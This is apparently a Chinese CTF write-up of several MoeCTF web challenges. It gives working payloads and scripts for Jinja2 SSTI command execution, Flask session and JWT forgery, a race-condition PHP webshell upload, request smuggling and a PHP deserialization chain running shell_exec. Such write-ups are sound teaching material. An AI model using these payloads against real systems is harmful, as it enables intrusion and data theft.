礼崩乐坏

JavaScript原链型污染 题目信息:

1
2
3
我听闻,从前管束子弟,有家法、有规矩、有祖宗传下来的章法。做父亲的教儿子,做兄长的带弟弟,一代一代,都守着本分。可如今呢?家法松了,规矩淡了,晚辈做什么,长辈也未必看得住。

这就好比写JavaScript,顶层的写法,像祖宗留下的旧宅,格局分明,门是门、窗是窗;可后来的人,图省事、图新潮,把旧宅拆了,东拼西凑搭个棚子,也能住人。祖宗留下的规矩还在,但已经管不着他们了。这样看来,礼法不是没了,是没人肯照着做了。名分还在,人心却散了。

这题又是原链型污染,相较于上次做了一次升级。
alt text 和上一题目一样,也是需要我们通过修改这个继承 Admin 还有 canRead 来提权。

先补充一些知识点

JavaScript原型链污染
Node.js - __proto__ and Prototype Pollution

了解到 JavaScript 中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义。JavaScript 中每个对象拥有一个原型对象。
当一个对象自身没有的属性会向“原型”进行查找。
普通 {} 对象通常会有一个原型,而这个原型就是 Object.prototype。
例如:

1
2
3
const a = {};
Object.prototype.school = "GDUT";
a.name = "hap";

那么这里的 a.school 就是 GDUT。 再利用 JavaScript 中的 constructor
Object.prototype 本身具有一个 constructor

1
2
3
4
5
6
7
8
// 新建一个空的对象k
const k = {};

// 由于这个时候 k 没有 constructor ,那么就会查找原型 k.constructor === Object
k
↓
Object.prototype
└── constructor → Object

constructor 这个属性本身的值,就是创建这个对象的“构造函数”(Object)。
那么这就相当于提供了一个入口来修改原型数据。

回到实战

JavaScript Prototype Pollution
先尝试上传
alt text
这里题目配置值仅允许布尔值、数字、短字符串或 null,不能直接提交一个对象,得写成一个类似属性一样的东西进行提交。
alt text

由题目信息可以得知,如果使用上次的键名__proto__直接修改admin属性的话会被直接拦截。
alt text
那么我们创建一个新的空对象foo来对其进行修改
alt text
最后回去 GET /api/flag 即可得到本体的 flag alt text
moectf{wh3n_r1t35_f4ll_pr0707yp35_ru13}

bblogin

Flask + Jinja2 题目信息:

1
2
3
管理员做了个简单的系统来保护自己的小秘密,非常安全!

诶不对源码怎么被人偷出来了,谁干的?没事我相信就算你知道源码也拿不到我的小秘密

本题给的是一个登录的网站,同时也给出了 app.py。
alt text 先看看这个网页是怎么运作的。

1
2
3
4
import sys  
import secrets
from flask import Flask, request, session, jsonify, redirect, url_for
from flask import render_template_string

从这个引用的库来看,特别像是 SSTI,因为 render_template_string 默认模板引擎就是 Jinja2。

1
2
3
app.secret_key = secrets.token_hex(32)
Rea1f1Agg999mjytredcvbhjytredf = sys.argv[1] if len(sys.argv) > 1 else 'flag{fake_flag}'
I3TheAdMin_pa3vv0rc1dswer5t6yuhgfdrt = secrets.token_hex(32)

这里的管理员密码是随机生成的 64 位 hex,基本可以说无法爆破了。Flag 看起来存在于变量 Rea1f1Agg999mjytredcvbhjytredf 中,这里还有一个闭包需要了解。
再来看看登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    @app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('password', '')

if(len(username)>10 or match(".()[]_",username)): # 这里是一个过滤,要求 username 不能字符串>10,带有 '.()[]_' 。
error_html = f'<div class="error"><p>The username cannot be too long!</p></div>'
html = INDEX_TEMPLATE.replace('{login_error_block}', error_html)
return render_template_string(html)

if username == 'admin' and password == I3TheAdMin_pa3vv0rc1dswer5t6yuhgfdrt:
session['token'] = "admin"
return redirect(url_for('user_info_page'))
# 如果这里登录成功就返回 user_info_page 页面,不过我觉得用不上了,根本就没机会登录上去。
error_html = f'<div class="error"><p>用户{username}登录失败</p></div>'
html = INDEX_TEMPLATE.replace('{login_error_block}', error_html)
return render_template_string(html)
# html 使用 render_template_string 进行渲染,失败时给出回显。

先补充一下知识点(SSTI)

hello-ctf/ssti HackTricks/SSTI 和 SQL 注入的题目一样也是具有数据传输的可利用点(像是登录页面,信息查询页面),通过传入特定格式的字符串来注入服务器中执行获取信息。 以 Jinja2 举例,Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。 我还发现有个ssti-map,又可以当脚本小子了吗?😁 一般流程是要先识别引擎
alt text
再进行注入攻击

回到实战

本题根据源码来看基本可以确认是 Jinja2 了
我们这边尝试 {{7*7}} 进行验证。
alt text 发现是可以被执行的,再尝试 {{config}} 得到如下信息。 {{config}} 可以获取到当前应用中的所有配置信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
用户<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '5a14c5195a600c26e4e4a1b60f737aaf0b2ed08b809b93e8672c9d2b35ba289d', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}>登录失败
```

**回看源码**

```python

@app.route('/user')
def get_user():
token = session.get('token')
if token and token == "admin":
return jsonify(username='admin', info=Rea1f1Agg999mjytredcvbhjytredf)
return jsonify({'error': '未登录'}), 401

return app
# 这里意味着我们其实可以通过这个 SECRET_KEY 来构造 session 伪造 admin 的身份来获取信息。

这里直接暴露了 SECRET_KEY,这里又回到了前面学过的 flask 签名来伪造身份。 已知 SECRET_KEY 就可以生成一个伪造的 Flask Session Cookie。

1
flask-unsign --sign --cookie "{'token': 'admin'}" --secret "5a14c5195a600c26e4e4a1b60f737aaf0b2ed08b809b93e8672c9d2b35ba289d"

得到 eyJ0b2tlbiI6ImFkbWluIn0.apu_wA.xbcCYWRJt8nZs4-9agDkAgxdCYk
使用 burpsuite 进行提交
alt text
moectf{42b7b005-4fc5-d01d-68bd-0412c05e67a7}

我刚一提交就发现了三个问题

竞争提交 题目信息:

1
2
3
4
5
我在你们这才交了几个文件,我已经发现三个问题了:
首先,(啪啪啪),在线提交,这文件怎么进了你的私人的目录里呢?
第二,这个文件我刚传进去,我还没拿到flag呢,这已经被删了,诶,这说明你们的后端逻辑有问题啊
第三,这个木马已经被我传上去了,这位邪恶的出题人,你怎么不给我flag呢?那请问我怎么才能解题呢?
(尝试提交内容为题目描述的文本文件会有惊喜,不包含括号内容,注意消除行间空格)

打开时一个提交作业的网站,按着题目说的去做上传文本看看惊喜是个啥。
alt text
也是直接就拿到flag了好吧,轻松拿下。 这里给了个假的flag,然后还有一个路径,访问可以直接看到提交的内容。
这个木马上传的话就让我想到了会不会是一句话木马之类的。
随后我上传了 php 的文件,但是会被直接删除导致 NOT Found。 alt text
想尝试一下后缀绕过也是不行(php4)
随后我又发现一个有意思的事情,如果我上传的是那个惊喜的文本,发现php文件又不会被删掉了。
alt text
那么这个应该就是一个突破点。
这个时候我尝试直接在文本后面加上

1
<?php system('cat /flag');?>  

如果按照题目所说,这个木马文件应该是可以被上传上去的,但是被很快删除了。
那么我猜测如果我手速够快,或者说写个脚本来访问那个路径那岂不是可以运行木马脚本了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import threading

upload_url = "http://127.0.0.1:18835/"
access_url = "http://127.0.0.1:18835/private/test.php"

with open('test.php', 'rb') as f:
file_content = f.read()

def upload():
while True:
try:
files = {'file': ('test.php', file_content, 'application/x-php')}
requests.post(upload_url, files=files)
except:
pass

def access():
while True:
try:
r = requests.get(access_url)
# 如果包含有moectf的内容
if "moectf" in r.text.lower():
print(r.text)
break
except:
pass

if __name__ == "__main__":
# 启动上传线程
for _ in range(10):
threading.Thread(target=upload, daemon=True).start()

# 启动访问线程进行快速访问
for _ in range(30):
threading.Thread(target=access, daemon=True).start()
input("执行中...")

alt text
最后读取到flag

1
moectf{h0t_$0y_m!1k_ha5_n0_$+raw}

旧能源管理系统

SSTI 无回显盲注
这题难度很高啊 给的是一个登录界面,还有网站源码app.py

1
2
import secrets
from flask import Flask, render_template, render_template_string, request

看这个引用库,看来又是 Jinja2 类型的漏洞利用。
不过这题直接 {{config}} 是没用的。
alt text
那还是得认真看看源码先。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def index():
status = None

if request.method == "POST":
username = request.form.get("username", "")
password = request.form.get("password", "")

render_login_name(username)

if exact_match(username, LOGIN_USERNAME) and exact_match(
password, LOGIN_PASSWORD
):
status = "登录成功"
else:
status = "登录失败"

return render_template("index.html", status=status)

看来问题出在这里,它这里如果登录失败的话只会直接回显 status 即”登录失败”,那么是不能够从登录失败回显的信息中获取敏感内容的。
不过由于源码中没有过滤的操作,猜测输入进去的 {{}} 代码是可以被 render_template_string 渲染并执行的。
其实一开始我也不确定是不是真的被执行了,后面想到可以效仿 SQL 时间盲注的方式就比较直观且简单。
Hello-CTF Jinja 备忘录中有许多的 shell_ 可以直接使用

1
&#123;&#123;config.__class__.__init__.__globals__['os'].popen('sleep 5')&#125;&#125;

过了5秒钟才提示登录失败,说明是可以被执行的。最主要的问题还是执行脚本后没有反馈信息。
那么这就是一个无回显盲注的问题了, CSDN CTF题型 SSTI
jinjia2无回显SSTI
Flask入门
在Flask中,默认情况下,静态文件存储在应用的static目录下,并通过/static/前缀访问,我尝试过如果保存在其他的路径的话无法访问,输出数据这种静态数据还是得存在/static这种flask默认的静态文件目录下。 我的想法是,用 Python 中的 os 模块将最有可能放flag的环境变量输出到/static/env.txt

1
&#123;&#123;config.__class__.__init__.__globals__['os'].popen('env > static/env.txt').read()&#125;&#125;

其中 env > static/env.txt 利用了Shell的重定向输出 最后访问 static/env.txt 路径得到flag。 alt text
moectf{c523c72c-fb42-df3b-f1fb-69813666902c}

黑市走私

http request smuggling 这题虽然简单,但花了我不少时间,主要是有很多细节的问题需要注意。

知识点补充(http smuggling)

Hello-CTF/HTTP Request Smuggling这题其实看完这个就已经能做出来了。
走私的原理是这样的,向服务器发送请求包,但是前后端认为的请求包长度不同,把两个不同的请求放在了同一个 TCP 连接中从而可以导致smuggling。 关键在于 Content-Length,Transfer-Encoding 注意的点是走私体要放在 Body 板块,所以第一个块得是 POST 才能成功。

JWT(JSON Web Token)
这里还是要区别一下之前见到过的 Flask Session Cookie

对比项 Flask Session Cookie JWT
数据格式 Python 字典(Pickle/TaggedJSON 序列化) 标准 JSON
签名算法 HMAC-SHA1(默认) 可配置(HS256、RS256 等)
签名库 itsdangerous PyJWT / jose
传递方式 只能放在 Cookie 里 Header、Cookie、URL 参数都行
标准 Flask 框架私有 IETF RFC 7519
爆破工具 flask-unsign jwt_tool/hashcat

这个学习过程中还发现 burpsuite pro 可以先主动扫描网页漏洞的,这样在题目没给这么多提示的时候也有可能知道有哪些可利用的漏洞点了。
alt text 这题经过扫描时能够扫出 Http request smuggling 漏洞的。

回到实战

访问 /hint 页面得到本题的提示信息
alt text
那么很明显得先爆破出来秘钥,直接使用别人写好的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hmac, hashlib, base64

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJndWVzdCIsInNjb3BlIjoicmVhZCJ9.CG6d0k62ZfRAcq9kdqz3TQIZ6irniRCrQLyqh9WbnM8"
header_shell_, _, signature = token.rpartition(".")

target = base64.urlsafe_b64decode(signature + "=" * (-len(signature) % 4))

with open("key.txt", "rb") as f:
for line in f:
key = line.strip()
sig = hmac.new(key, header_shell_.encode(), hashlib.sha256).digest()
if hmac.compare_digest(sig, target):
print("密钥找到了:", key)
break

直接找出秘钥是 fish,再对其进行签名伪造。 alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64, hashlib, hmac, json

def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

secret = b"fish"

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
shell_ = b64url(json.dumps({"sub":"traveler","role":"admin","scope":"flags"}, separators=(",", ":")).encode())

signing_input = f"{header}.{shell_}".encode()
signature = b64url(hmac.new(secret, signing_input, hashlib.sha256).digest())

token = f"{header}.{shell_}.{signature}"
print(token)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJhZG1pbiIsInNjb3BlIjoiZmxhZ3MifQ.EQmuoZNLf5aUF-WJ1MdjUFZJgPilOkgJRjXawdvIooI 回到 flag1
alt text
提示的很明显,要用 CL.TE,带上票据直接开始。
alt text moectf{Y0u_have_m4r
第二个也特别明显,就是TE.TE
alt text 用到的 TE 混淆是(冒号前加空格) alt text
3d_http_5mu6g1!n6} 那么合起来就是 moectf{Y0u_have_m4r3d_http_5mu6g1!n6}

七狗收费小说

PHP审计 + PHP反序列 这题主要还是需要理解 PHP 代码的执行,看的有点头晕。 题目信息:

1
小刻想把自己的小说库改成收费的,这样就可以赚钱买更多的蜜饼吃啦。所以小刻自学了 Git 和 PHP,刚刚做了个半成品的登录页面。但是,小刻缺少一个 CTFer 的警觉,她把仓库直接放到了生产环境,居然还信任前端传来的任何数据。作为一个 CTFer,你和小刻打赌,如果你找不出小说库的漏洞,就要请她吃一个月的蜜饼……(环境为 PHP 8.2)

点开又是经典的登录界面
alt text 信息中提到其自学了 Git 和 PHP,那么猜测应该是有 Git 的信息泄露。
使用 Githack 看看泄露信息。
alt text
点开是一个 index 的源码文件。
Hello-CTF PHP代码审计
CTF-WEB:PHP 反序列化

PHP 分析

先读一下看看这个 PHP 代码中有些什么内容。
目标肯定是要登录或者说获取最高权限,然后再 cat /flag. 从目标入手,先看看有关系统命令执行的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Diagnosis
{
public $key, $value, $action;

public function __get($name)
{
if ($name === $this->key && is_object($this->action)) {
return ($this->action)($this->value);
}
return null;
}

public function __invoke($value)
{
return shell_exec("$this->key$value");
// 这里具有执行系统命令的能力这里看来得从$vallue上下功夫,再倒着推理。
}
}

如果程序访问了不存在的属性,触发 __get,它就会把 action 当作函数调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class UserInfo
{
public $user, $permission;

public function __construct($user)
{
$this->user = $user;
$this->permission = $user->username === "admin" ? "权限 7" : "权限 0";
}

public function __tostring()
{
return $this->user->username . "(权限等级:" . $this->permission . ")";
}
}

如果 $this->user 是 Diagnosis 对象,它是没有 username 的,那么去拿 username 就会触发 __get。

1
2
3
4
5
6
7
8
9
10
11
public function __destruct()
{
// 要求用户名和密码完全相同
if ($this->username !== $this->password)
die("不对,密码不对!");
// 要求两个 secret 完全相同
if ($this->secret_a !== $this->secret_b)
die("不行,要重新登录!");

echo "已经登录啦:$this->username";
}

只要脚本结束,$this->username 如果是 UserInfo 对象,就会触发 __toString。
那么说白了最后的重点就是在于 user 对象如何构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (isset($_POST['username']) && isset($_POST['password'])) {
// $_POST 保存来自表单 POST 请求的数据。
$username = $_POST['username'];
$password = $_POST['password'];

// 创建 User 对象
$user = new User($username, $password);

// 把 PHP 对象转换成字符串,再进行base64加密。
$data = base64_encode(serialize($user));
setcookie('user', $data, time() + 3600, '/');
$curr_user = $user;

// 如果这个时候没有报表信息,但是有cookie。
} elseif (isset($_COOKIE['user'])) {
// $_COOKIE 保存发送过来的 Cookie 数据。
$data = base64_decode($_COOKIE['user']);
// 先还原 base64,再反序列化为 User 对象。
$curr_user = unserialize($data);
}

那么这题就需要我们按着这个 PHP 的逻辑写一个生成 cookie 的脚本再提交上去。

这个题目特别复杂还是一步步来吧。
首先先定义一下需要的类,这些都是源码中有的且需要的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class User {
public $username, $password;
public $secret_a, $secret_b;
}
class UserInfo {
public $user, $permission;
}
class Diagnosis {
public $key, $value, $action;
}
```
最终执行的代码
```PHP
$shell_ = new Diagnosis();
$shell_->key = "";
$shell_->value = "cat /flag"; // 执行的命令
$shell_->action = null;

触发 __get

1
2
3
4
$Makeget = new Diagnosis();
$Makeget->key = "username"; // 匹配 __get 传进来的名字
$Makeget->value = "";
$Makeget->action = $shell_; // 指向最后的 shell_ 来执行命令

触发 __tostring

1
2
3
$info = new UserInfo();
$info->user = $Makeget; // 指向Makeget
$info->permission = "权限 0";

触发 __destruct

1
2
3
4
5
$user = new User();
$user->username = $info; // 指向 info,用于触发 tostring
$user->password = $info; // 指向同一个 info 满足第一个登录条件
$user->secret_b = 0;
$user->secret_a = &$user->secret_b; //指向同一个 secret 满足第二个登录条件。

最后进行加密输出 cookie

1
2
3
$serialized = serialize($user);        // 变成字符串
$payload = base64_encode($serialized); // base64 加密
echo "Cookie user = " . $payload;

最后运行 php 生成 cookie,用 burpsuite 发送出去

1
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtPOjg6IlVzZXJJbmZvIjoyOntzOjQ6InVzZXIiO086OToiRGlhZ25vc2lzIjozOntzOjM6ImtleSI7czo4OiJ1c2VybmFtZSI7czo1OiJ2YWx1ZSI7czo5OiJjYXQgL2ZsYWciO3M6NjoiYWN0aW9uIjtPOjk6IkRpYWdub3NpcyI6Mzp7czozOiJrZXkiO3M6MDoiIjtzOjU6InZhbHVlIjtzOjA6IiI7czo2OiJhY3Rpb24iO047fX1zOjEwOiJwZXJtaXNzaW9uIjtzOjg6Iuadg+mZkCAwIjt9czo4OiJwYXNzd29yZCI7cjoyO3M6ODoic2VjcmV0X2EiO2k6MDtzOjg6InNlY3JldF9iIjtSOjEyO30=

alt text
moectf{ab28b6fc-048b-9e42-739e-5f873a3a6158}

巧乐兹(未出)

题目信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
某公司的内部公告板系统,里面只有一条公告

记住,跑得快不一定赢,不跌跟头,才是成功!

Running Fast doesn't necessarily mean winning; avoiding a fall is what constitutes success!

你好像在哪里听到过这句话。只是下面这句英文是什么意思??(环境为 Java 25)
```
![alt text](/images/moectf-week3/image-26.png)
这题目的环境比较新,给了个 demo.jar,推测也是要先审计一下代码,然后或许跟 fastjson 有关,像是比较新的漏洞。
[Fastjson 再爆 RCE 高危漏洞](https://blog.csdn.net/lingggggaaaa/article/details/163064101)
[代码审计 | FastJson 反序列化 RCE 漏洞分析](https://wr0ld.github.io/posts/3035988a/)




## Moe论坛(未出)
题目信息:
```txt
Moe论坛上线了,欢迎大家来聊天!掌管着flag的管理员小D需要实时监控论坛信息。你想要从他那获取flag,但是联系不上他,真的没有办法了吗?

alt text
这个可以自行登录注册的,然后还使用了 SQLite,目前没啥思路,题目是让我联系管理员小D。
alt text
这个发新帖可以用 html,不知道是否有用。 sqlite注入的一点总结 GHCTF 2025 sqlite注入
猜测应该也是在输入框中传数据像 SQL 注入那种执行命令获取信息。

最后这两题那就丢到week4吧,后面再战。😋